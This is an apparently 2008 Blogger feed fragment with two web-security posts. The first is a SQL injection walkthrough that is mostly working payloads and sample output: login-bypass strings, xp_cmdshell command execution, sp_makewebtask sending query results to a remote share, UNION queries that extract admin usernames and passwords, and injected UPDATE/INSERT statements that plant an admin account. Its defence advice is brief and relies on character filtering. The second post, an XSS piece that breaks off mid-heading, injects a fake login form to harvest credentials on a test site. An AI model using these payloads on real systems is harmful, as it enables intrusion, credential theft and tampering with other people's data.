rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=2155865616189004834' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/2155865616189004834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/2155865616189004834'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/06/php-sql-security-part-6.html' title='PHP / SQL Security - Part 6'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-7421838065491185097</id><published>2008-06-05T12:29:00.002+05:30</published><updated>2008-06-05T14:29:13.903+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><title type='text'>SQL Injection Walkthrough</title><content type='html'>&lt;p&gt;&lt;h3&gt;1.0 Introduction&lt;/h3&gt;&lt;br&gt;      When a machine has only port 80 opened, your most trusted vulnerability    scanner cannot return anything useful, and you know that the admin always    patch his server, we have to turn to web hacking. SQL injection is one of    type of web hacking that require nothing but port 80 and it might just work    even if the admin is patch-happy. It attacks on the web application (like    ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services    running in the OS.&lt;br&gt;      &lt;br&gt;      This article does not introduce anything new, SQL injection has been widely    written and used in the wild. We wrote the article because we would like to    document some of our pen-test using SQL injection and hope that it may be of    some use to others. You may find a trick or two but please check out the    &amp;quot;9.0 Where can I get more info?&amp;quot; for people who truly deserve    credit for developing many techniques in SQL injection.&lt;br&gt;      &lt;br&gt;      &lt;h3&gt;1.1 What is SQL Injection?&lt;/h3&gt;&lt;br&gt;      It is a trick to inject SQL query/command as an input possibly via web pages.    Many web pages take parameters from web user, and make SQL query to the    database. Take for instance when a user login, web page that user name and    password and make SQL query to the database to check if a user has valid name    and password. With SQL Injection, it is possible for us to send crafted user    name and/or password field that will change the SQL query and thus grant us    something else.&lt;br&gt;      &lt;br&gt;      &lt;h3&gt;1.2 What do you need?&lt;/h3&gt;&lt;br&gt;      Any web browser.&lt;br&gt;      &lt;br&gt;      &lt;h3&gt;2.0 What you should look for?&lt;/h3&gt;&lt;br&gt;      Try to look for pages that allow you to submit data, i.e: login page, search    page, feedback, etc. Sometimes, HTML pages use POST command to send    parameters to another ASP page. Therefore, you may not see the parameters in    the URL. However, you can check the source code of the HTML, and look for    &amp;quot;FORM&amp;quot; tag in the HTML code. You may find something like this in    some HTML codes:&lt;br&gt;      &amp;lt;FORM action=Search/search.asp method=post&amp;gt;&lt;br&gt;      &amp;lt;input type=hidden name=A value=C&amp;gt;&lt;br&gt;      &amp;lt;/FORM&amp;gt;&lt;br&gt;      &lt;br&gt;      Everything between the &amp;lt;FORM&amp;gt; and &amp;lt;/FORM&amp;gt; have potential    parameters that might be useful (exploit wise).&lt;br&gt;      &lt;br&gt;      &lt;br&gt;      &lt;h3&gt;2.1 What if you can't find any page that takes input?&lt;/h3&gt;&lt;br&gt;      You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look    especially for URL that takes parameters, like:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10&lt;br&gt;      &lt;br&gt;      &lt;h3&gt;3.0 How do you test if it is vulnerable?&lt;/h3&gt;&lt;br&gt;      Start with a single quote trick. Input something like:&lt;br&gt;      &lt;br&gt;      hi' or 1=1--&lt;br&gt;      &lt;br&gt;      Into login, or password, or even in the URL. Example:&lt;br&gt;      &amp;nbsp;- Login: hi' or 1=1--&lt;br&gt;      &amp;nbsp;- Pass: hi' or 1=1--&lt;br&gt;      &amp;nbsp;- http://duck/index.asp?id=hi' or 1=1--&lt;br&gt;      &lt;br&gt;      If you must do this with a hidden field, just download the source HTML from    the site, save it in your hard disk, modify the URL and hidden field    accordingly. Example:&lt;br&gt;      &lt;br&gt;      &amp;lt;FORM action=http://duck/Search/search.asp method=post&amp;gt;&lt;br&gt;      &amp;lt;input type=hidden name=A value=&amp;quot;hi' or 1=1--&amp;quot;&amp;gt;&lt;br&gt;      &amp;lt;/FORM&amp;gt;&lt;br&gt;      &lt;br&gt;      If luck is on your side, you will get login without any login name or    password. &lt;br&gt;      &lt;br&gt;      &lt;h3&gt;3.1 But why ' or 1=1--?&lt;/h3&gt;&lt;br&gt;      Let us look at another example why ' or 1=1-- is important. Other than bypassing    login, it is also possible to view extra information that is not normally    available. Take an asp page that will link you to another page with the    following URL:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?category=food&lt;br&gt;      &lt;br&gt;      In the URL, 'category' is the variable name, and 'food' is the value assigned    to the variable. In order to do that, an ASP might contain the following code    (OK, this is the actual code that we created for this exercise):&lt;br&gt;      &lt;br&gt;      v_cat = request(&amp;quot;category&amp;quot;)&lt;br&gt;      sqlstr=&amp;quot;SELECT * FROM product WHERE PCategory='&amp;quot; &amp;amp; v_cat &amp;amp;    &amp;quot;'&amp;quot;&lt;br&gt;      set rs=conn.execute(sqlstr)&lt;br&gt;      &lt;br&gt;      As we can see, our variable will be wrapped into v_cat and thus the SQL    statement should become:&lt;br&gt;      &lt;br&gt;      SELECT * FROM product WHERE PCategory='food'&lt;br&gt;      &lt;br&gt;      The query should return a resultset containing one or more rows that match    the WHERE condition, in this case, 'food'.&lt;br&gt;      &lt;br&gt;      Now, assume that we change the URL into something like this:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?category=food' or 1=1--&lt;br&gt;      &lt;br&gt;      Now, our variable v_cat equals to &amp;quot;food' or 1=1-- &amp;quot;, if we    substitute this in the SQL query, we will have:&lt;br&gt;      &lt;br&gt;      SELECT * FROM product WHERE PCategory='food' or 1=1--'&lt;br&gt;      &lt;br&gt;      The query now should now select everything from the product table regardless    if PCategory is equal to 'food' or not. A double dash &amp;quot;--&amp;quot; tell MS    SQL server ignore the rest of the query, which will get rid of the last    hanging single quote ('). Sometimes, it may be possible to replace double    dash with single hash &amp;quot;#&amp;quot;.&lt;br&gt;      &lt;br&gt;      However, if it is not an SQL server, or you simply cannot ignore the rest of    the query, you also may try&lt;br&gt;      &lt;br&gt;      ' or 'a'='a&lt;br&gt;      &lt;br&gt;      The SQL query will now become:&lt;br&gt;      &lt;br&gt;      SELECT * FROM product WHERE PCategory='food' or 'a'='a'&lt;br&gt;      &lt;br&gt;      It should return the same result.&lt;br&gt;      &lt;br&gt;      Depending on the actual SQL query, you may have to try some of these    possibilities:&lt;br&gt;      &lt;br&gt;      ' or 1=1--&lt;br&gt;      &amp;quot; or 1=1--&lt;br&gt;      or 1=1--&lt;br&gt;      ' or 'a'='a&lt;br&gt;      &amp;quot; or &amp;quot;a&amp;quot;=&amp;quot;a&lt;br&gt;      ') or ('a'='a&lt;br&gt;      &lt;br&gt;      &lt;h3&gt;4.0 How do I get remote execution with SQL injection?&lt;/h3&gt;&lt;br&gt;      Being able to inject SQL command usually mean, we can execute any SQL query    at will. Default installation of MS SQL Server is running as SYSTEM, which is    equivalent to Administrator access in Windows. We can use stored procedures    like master..xp_cmdshell to perform remote execution:&lt;br&gt;      &lt;br&gt;      '; exec master..xp_cmdshell 'ping 10.10.1.2'--&lt;br&gt;      &lt;br&gt;      Try using double quote (&amp;quot;) if single quote (') is not working.&lt;br&gt;      &lt;br&gt;      The semi colon will end the current SQL query and thus allow you to start a    new SQL command. To verify that the command executed successfully, you can    listen to ICMP packet from 10.10.1.2, check if there is any packet from the    server:&lt;br&gt;      &lt;br&gt;      #tcpdump icmp&lt;br&gt;      &lt;br&gt;      If you do not get any ping request from the server, and get error message    indicating permission error, it is possible that the administrator has    limited Web User access to these stored procedures.&lt;br&gt;      &lt;br&gt;      &lt;h3&gt;5.0 How to get output of my SQL query?&lt;/h3&gt;&lt;br&gt;      It is possible to use sp_makewebtask to write your query into an HTML:&lt;br&gt;      &lt;br&gt;      '; EXEC master..sp_makewebtask &amp;quot;\\10.10.1.3\share\output.html&amp;quot;,    &amp;quot;SELECT * FROM INFORMATION_SCHEMA.TABLES&amp;quot;&lt;br&gt;      &lt;br&gt;      But the target IP must folder &amp;quot;share&amp;quot; sharing for Everyone.&lt;br&gt;      &lt;br&gt;      &lt;h3&gt;6.0 How to get data from the database using ODBC error message&lt;/h3&gt;&lt;br&gt;      We can use information from error message produced by the MS SQL Server to    get almost any data we want. Take the following page for example:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10 &lt;br&gt;      &lt;br&gt;      We will try to UNION the integer '10' with another string from the database:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10 UNION SELECT TOP    1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--&lt;br&gt;      &lt;br&gt;      The system table INFORMATION_SCHEMA.TABLES contains information of all tables    in the server. The TABLE_NAME field obviously contains the name of each table    in the database. It was chosen because we know it always exists. Our query:&lt;br&gt;      &lt;br&gt;      SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-&lt;br&gt;      &lt;br&gt;      This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server    will try to convert a string (nvarchar) to an integer. This will produce an    error, since we cannot convert nvarchar to int. The server will display the    following error:&lt;br&gt;      &lt;br&gt;      Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;br&gt;      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the    nvarchar value 'table1' to a column of data type int. &lt;br&gt;      /index.asp, line 5&lt;br&gt;      &lt;br&gt;      The error message is nice enough to tell us the value that cannot be    converted into an integer. In this case, we have obtained the first table    name in the database, which is &amp;quot;table1&amp;quot;.&lt;br&gt;      &lt;br&gt;      To get the next table name, we can use the following query:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM    INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--&lt;br&gt;      &lt;br&gt;      We also can search for data using LIKE keyword:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM    INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--&lt;br&gt;      &lt;br&gt;      Output:&lt;br&gt;      &lt;br&gt;      Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;br&gt;      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the    nvarchar value 'admin_login' to a column of data type int. &lt;br&gt;      /index.asp, line 5&lt;br&gt;      &lt;br&gt;      The matching patent, '%25login%25' will be seen as %login% in SQL Server. In    this case, we will get the first table name that matches the criteria,    &amp;quot;admin_login&amp;quot;.&lt;br&gt;      &lt;br&gt;      &lt;h3&gt;6.1 How to mine all column names of a table?&lt;/h3&gt;&lt;br&gt;      We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all    columns name of a table:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM    INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--&lt;br&gt;      &lt;br&gt;      Output:&lt;br&gt;      &lt;br&gt;      Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;br&gt;      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the    nvarchar value 'login_id' to a column of data type int. &lt;br&gt;      /index.asp, line 5&lt;br&gt;      &lt;br&gt;      Now that we have the first column name, we can use NOT IN () to get the next    column name:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM    INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME    NOT IN ('login_id')--&lt;br&gt;      &lt;br&gt;      Output:&lt;br&gt;      &lt;br&gt;      Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;br&gt;      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the    nvarchar value 'login_name' to a column of data type int. &lt;br&gt;      /index.asp, line 5&lt;br&gt;      &lt;br&gt;      When we continue further, we obtained the rest of the column name, i.e.    &amp;quot;password&amp;quot;, &amp;quot;details&amp;quot;. We know this when we get the    following error message:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM    INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME    NOT IN ('login_id','login_name','password',details')--&lt;br&gt;      &lt;br&gt;      Output:&lt;br&gt;      &lt;br&gt;      Microsoft OLE DB Provider for ODBC Drivers error '80040e14' &lt;br&gt;      [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in    the select list if the statement contains a UNION operator. &lt;br&gt;      /index.asp, line 5&lt;br&gt;      &lt;br&gt;      &lt;h3&gt;6.2 How to retrieve any data we want?&lt;/h3&gt;&lt;br&gt;      Now that we have identified some important tables, and their column, we can    use the same technique to gather any information we want from the database.&lt;br&gt;      &lt;br&gt;      Now, let's get the first login_name from the &amp;quot;admin_login&amp;quot; table:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--&lt;br&gt;      &lt;br&gt;      Output:&lt;br&gt;      &lt;br&gt;      Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;br&gt;      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the    nvarchar value 'neo' to a column of data type int. &lt;br&gt;      /index.asp, line 5&lt;br&gt;      &lt;br&gt;      We now know there is an admin user with the login name of &amp;quot;neo&amp;quot;.    Finally, to get the password of &amp;quot;neo&amp;quot; from the database:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login    where login_name='neo'--&lt;br&gt;      &lt;br&gt;      Output:&lt;br&gt;      &lt;br&gt;      Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;br&gt;      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the    nvarchar value 'm4trix' to a column of data type int. &lt;br&gt;      /index.asp, line 5&lt;br&gt;      &lt;br&gt;      We can now login as &amp;quot;neo&amp;quot; with his password &amp;quot;m4trix&amp;quot;.&lt;br&gt;      &lt;br&gt;      &lt;h3&gt;6.3 How to get numeric string value?&lt;/h3&gt;&lt;br&gt;      There is limitation with the technique describe above. We cannot get any    error message if we are trying to convert text that consists of valid number    (character between 0-9 only). Let say we are trying to get password of    &amp;quot;trinity&amp;quot; which is &amp;quot;31173&amp;quot;:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login    where login_name='trinity'--&lt;br&gt;      &lt;br&gt;      We will probably get a &amp;quot;Page Not Found&amp;quot; error. The reason being,    the password &amp;quot;31173&amp;quot; will be converted into a number, before UNION with an integer (10 in this case). Since it is a    valid UNION statement, SQL server will not throw ODBC error message, and    thus, we will not be able to retrieve any numeric entry.&lt;br&gt;      &lt;br&gt;      To solve this problem, we can append the numeric string with some alphabets    to make sure the conversion fail. Let us try this query instead:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int,    password%2b'%20morpheus') FROM admin_login where login_name='trinity'--&lt;br&gt;      &lt;br&gt;      We simply use a plus sign (+) to append the password with any text we want.    (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the    actual password. Therefore, even if we have a numeric string '31173', it will    become '31173 morpheus'. By manually calling the convert() function, trying    to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC    error message:&lt;br&gt;      &lt;br&gt;      Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;br&gt;      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the    nvarchar value '31173 morpheus' to a column of data type int. &lt;br&gt;      /index.asp, line 5&lt;br&gt;      &lt;br&gt;      Now, you can even login as 'trinity' with the password '31173'.&lt;br&gt;      &lt;br&gt;      &lt;h3&gt;7.0 How to update/insert data into the database?&lt;/h3&gt;&lt;br&gt;      When we successfully gather all column name of a table, it is possible for us    to UPDATE or even INSERT a new record in the table. For example, to change    password for &amp;quot;neo&amp;quot;:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5'    WHERE login_name='neo'--&lt;br&gt;      &lt;br&gt;      To INSERT a new record into the database:&lt;br&gt;      &lt;br&gt;      http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id',    'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--&lt;br&gt;      &lt;br&gt;      We can now login as &amp;quot;neo2&amp;quot; with the password of    &amp;quot;newpas5&amp;quot;.&lt;br&gt;      &lt;br&gt;      &lt;h3&gt;8.0 How to avoid SQL Injection?&lt;/h3&gt;&lt;br&gt;      Filter out character like single quote, double quote, slash, back slash, semi    colon, extended character like NULL, carry return, new line, etc, in all    strings from:&lt;br&gt;      &amp;nbsp;- Input from users&lt;br&gt;      &amp;nbsp;- Parameters from URL&lt;br&gt;      &amp;nbsp;- Values from cookie&lt;br&gt;      &lt;br&gt;      For numeric value, convert it to an integer before parsing it into SQL    statement. Or using ISNUMERIC to make sure it is an integer.&lt;br&gt;      &lt;br&gt;      Change &amp;quot;Startup and run SQL Server&amp;quot; using low privilege user in SQL    Server Security tab.&lt;br&gt;      &lt;br&gt;      Delete stored procedures that you are not using like:&lt;br&gt;      &lt;br&gt;      master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask&lt;br&gt;      &lt;br&gt;      &lt;br&gt;      &lt;h3&gt;9.0 Where can I get more info?&lt;/h3&gt;&lt;br&gt;      One of the earliest works on SQL Injection we have encountered should be the    paper from Rain Forest Puppy about how he hacked PacketStorm.&lt;br&gt;      &lt;A target="_blank" href="http://www.wiretrip.net/rfp/p/doc.asp?id=42&amp;iface=6"&gt;http://www.wiretrip.net/rfp/p/doc.asp?id=42&amp;amp;iface=6&lt;/a&gt;&lt;br&gt;      &lt;br&gt;      Great article on gathering information from ODBC error messages:&lt;br&gt;      &lt;A target="_blank" href="http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc"&gt;http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc&lt;/a&gt;&lt;br&gt;      &lt;br&gt;      A good summary of SQL Injection on various SQL Server on &lt;br&gt;      &lt;A target="_blank" href="http://www.owasp.org/asac/input_validation/sql.shtml"&gt;http://www.owasp.org/asac/input_validation/sql.shtml&lt;/a&gt; &lt;br&gt;      &lt;br&gt;      Senseport's article on reading SQL Injection:&lt;br&gt;      &lt;A target="_blank" href="http://www.sensepost.com/misc/SQLinsertion.htm"&gt;http://www.sensepost.com/misc/SQLinsertion.htm&lt;/a&gt; &lt;br&gt;      &lt;br&gt;      Other worth readings:&lt;br&gt;      &lt;A target="_blank" href="http://www.digitaloffense.net/wargames01/IOWargames.ppt"&gt;http://www.digitaloffense.net/wargames01/IOWargames.ppt&lt;/a&gt; &lt;br&gt;      &lt;A target="_blank" href="http://www.wiretrip.net/rfp/p/doc.asp?id=7&amp;iface=6"&gt;http://www.wiretrip.net/rfp/p/doc.asp?id=7&amp;amp;iface=6&lt;/a&gt; &lt;br&gt;      &lt;A target="_blank" href="http://www.wiretrip.net/rfp/p/doc.asp?id=60&amp;iface=6"&gt;http://www.wiretrip.net/rfp/p/doc.asp?id=60&amp;amp;iface=6&lt;/a&gt;&lt;br&gt;      &lt;A target="_blank" href="http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf"&gt;http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf&lt;/a&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-7421838065491185097?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/7421838065491185097/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=7421838065491185097' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/7421838065491185097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/7421838065491185097'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/06/sql-injection-walkthrough.html' title='SQL Injection Walkthrough'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-2440581712000859172</id><published>2008-06-04T23:58:00.001+05:30</published><updated>2008-06-05T14:30:04.627+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Server Security'/><title type='text'>Cross Site Scripting - XSS - The Underestimated Exploit</title><content type='html'>&lt;p&gt;&lt;h3&gt;1. What is Cross Site Scripting?&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;&lt;A target="_blank" href="cross-site-scripting.htm"&gt;Cross Site Scripting&lt;/A&gt; (or XSS) is one   of the most common application-layer web attacks. XSS commonly targets scripts   embedded in a page which are executed on the client-side (in the user&amp;rsquo;s web   browser) rather than on the server-side. XSS in itself is a threat which is   brought about by the internet security weaknesses of client-side scripting   languages, with HTML and JavaScript (others being VBScript, ActiveX, HTML, or   Flash) as the prime culprits for this exploit. The concept of XSS is to   manipulate client-side scripts of a web application to execute in the manner   desired by the malicious user. Such a manipulation can embed a script in a page   which can be executed every time the page is loaded, or whenever an associated   event is performed.&lt;/p&gt;&lt;p&gt;A basic example of XSS is when a malicious user injects a script in a   legitimate shopping site URL which in turn redirects a user to a fake but   identical page. The malicious page would run a script to capture the cookie of   the user browsing the shopping site, and that cookie gets sent to the malicious   user who can now hijack the legitimate user&amp;rsquo;s session. Although no real hack has   been performed against the shopping site, XSS has still exploited a scripting   weakness in the page to snare a user and take command of his session. A trick   which often is used to make malicious URLs less obvious is to have the XSS part   of the URL encoded in HEX (or other encoding methods). This will look harmless   to the user who recognizes the URL he is familiar with, and simply disregards   and following &amp;lsquo;tricked&amp;rsquo; code which would be encoded and therefore   inconspicuous.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;2. Site owners are always confident, but so are hackers!&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;Without going into complicated technical details, one must be aware of the   various cases which have shown that XSS can have serious consequences when   exploited on a vulnerable web application. Many site owners dismiss XSS on the   grounds that it cannot be used to steal sensitive data from a back-end database.   This is a common mistake because the consequences of XSS against a web   application and its customers have been proven to be very serious, both in terms   of application functionality and business operation. An online business project   cannot afford to lose the trust of its present and future customers simply   because nobody has ever stepped forward to prove that their site is really   vulnerable to XSS exploits. Ironically, there are stories of site owners who   have boldly claimed that XSS is not really a high-risk exploit. This has often   resulted in a public challenge which hackers are always itching to accept, with   the site owner having to later deal with a defaced application and public   embarrassment.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;3. The repercussions of XSS&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;Analysis of different cases which detail XSS exploits teaches us how the   constantly changing web technology is nowhere close to making applications more   secure. A thorough web search will reveal many stories of large-scale   corporation web sites being hacked through XSS exploits, and the reports of such   cases always show the same recurring consequences as being of the severe   kind.&lt;/p&gt;&lt;p&gt;Exploited XSS is commonly used to achieve the following malicious   results:&lt;/p&gt;&lt;UL&gt;  &lt;LI&gt;Identity theft     &lt;LI&gt;Accessing sensitive or restricted information     &lt;LI&gt;Gaining free access to otherwise paid for content     &lt;LI&gt;Spying on user&amp;rsquo;s web browsing habits     &lt;LI&gt;Altering browser functionality     &lt;LI&gt;Public defamation of an individual or corporation     &lt;LI&gt;Web application defacement     &lt;LI&gt;Denial of Service attacks &lt;/LI&gt;&lt;/UL&gt;&lt;p&gt;Any site owner with a healthy level of integrity would agree that none of the   above can really be considered us frivolous or unimportant impacts on a   vulnerable site. Security flaws in high-profile web sites have allowed hackers   to obtain credit card details and user information which allowed them to perform   transactions in their name. Legitimate users have been frequently tricked into   clicking a link which redirects them to a malicious but legitimate-looking page   which in turn captures all their details and sends them straight to the hacker.   This example might not sound as bad as hacking into a corporate database;   however it takes no effort to cause site visitors or customers to lose their   trust in the application&amp;rsquo;s security which in turn can result in liability and   loss of business.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;4. A practical example of XSS on an Acunetix test site.&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;The following example is not a hacking tutorial. It is just a basic way to   demonstrate how XSS can be used to control and modify the functionality of a web   page and to re-design the way the page processes its output. The practical use   of the example may be freely debated; however anyone may see the regular reports   which describe how advanced XSS is used to achieve very complex results, most   commonly without being noticed by the user. I encourage also those individuals   with no hacking knowledge to try the following example, I am sure you will find   it interesting.&lt;/p&gt;&lt;p&gt;1. Load the following link in your browser: &lt;EM&gt;http://testasp.acunetix.com/Search.asp&lt;/EM&gt;, you will   notice that the page is a simple page with an input field for running a   search&lt;/p&gt;&lt;p align="center"&gt;&lt;IMG height="375" alt="" src="http://www.acunetix.com/websitesecurity/images/xss_1.jpg" width="500" border="0"&gt;&lt;/p&gt;&lt;p&gt;2. Try to insert the following code into the search field, and notice how a   login form will be displayed on the page:&lt;BR&gt;    &lt;BR&gt;  Please login with the form   below before proceeding: &lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Please login   with the form below before proceeding:&amp;lt;form   action="destination.asp"&amp;gt;&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Login:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input   type=text length=20   name=login&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Password:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input   type=text length=20   name=password&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;input type=submit   value=LOGIN&amp;gt;&amp;lt;/form&amp;gt;&lt;/strong&gt;, then simply hit the search button after   inserting the code.&lt;/p&gt;&lt;p align="center"&gt;&lt;IMG height="375" alt="" src="http://www.acunetix.com/websitesecurity/images/xss_2.jpg" width="500" border="0"&gt;&lt;/p&gt;&lt;p&gt;Through the XSS flaw on the page, it has been possible to create a FAKE login   form which can convince gather a user&amp;rsquo;s credentials. As seen in step 2, the code   contains a section which mentions &amp;ldquo;destination.asp&amp;rdquo;. That is where a hacker can   decide where the FAKE login form will send the user&amp;rsquo;s log-in details for them to   be retrieved and used maliciously.&lt;/p&gt;&lt;p&gt;A hacker can also inject this code by passing it around via the browser&amp;rsquo;s   address bar as follows:&lt;/p&gt;&lt;p&gt;&lt;A target="_blank" href="http://testasp.acunetix.com/Search.asp?tfSearch=%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before+proceeding%3A%3Cform+action%3D%22test.asp%22%3E%3Ctable%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3Ctd%3EPassword%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%3C%2Fform%3E"&gt;&lt;EM&gt;http://testasp.acunetix.com/Search.asp?tfSearch=%3Cbr%3E%3Cbr%3EPlease+login+with+&lt;BR&gt;  the+form+below+before+proceeding%3A%3C   form+action%3D%22test.asp%22%3E%3C&lt;BR&gt;  table%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3D&lt;BR&gt;  text+   length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3C&lt;BR&gt;  td%3EPassword%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput   +type%3Dtext+length%3D20&lt;BR&gt;  +name%3Dpassword%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cinput&lt;BR&gt;  +type%3Dsubmit+value   %3DLOGIN%3E%3C%2Fform%3E&lt;/EM&gt;&lt;/A&gt;&lt;/p&gt;&lt;p align="center"&gt;&lt;IMG height="375" alt="" src="http://www.acunetix.com/websitesecurity/images/xss_3.jpg" width="500" border="0"&gt;&lt;/p&gt;&lt;p&gt;This will create the same result on the page, showing how XSS can be used in   several different ways to achieve the same result. After the hacker retrieves   the user&amp;rsquo;s log-in credentials, he can easily cause the browser to display the   search page as it was originally and the user would not even realize that he has   just been fooled. This example may also be seen in use in all those spam emails   we all receive. It is very common to find an email in your inbox saying how a   certain auctioning site suspects that another individual is using your account   maliciously, and it then asks you to click a link to validate your identity.   This is a similar method which directs the unsuspecting user to a FAKE version   of the auctioning site, and captures the user&amp;rsquo;s log-in credentials to then send   them to the hacker.&lt;/p&gt;&lt;p align="left"&gt;&lt;h3&gt;5. Why wait to be 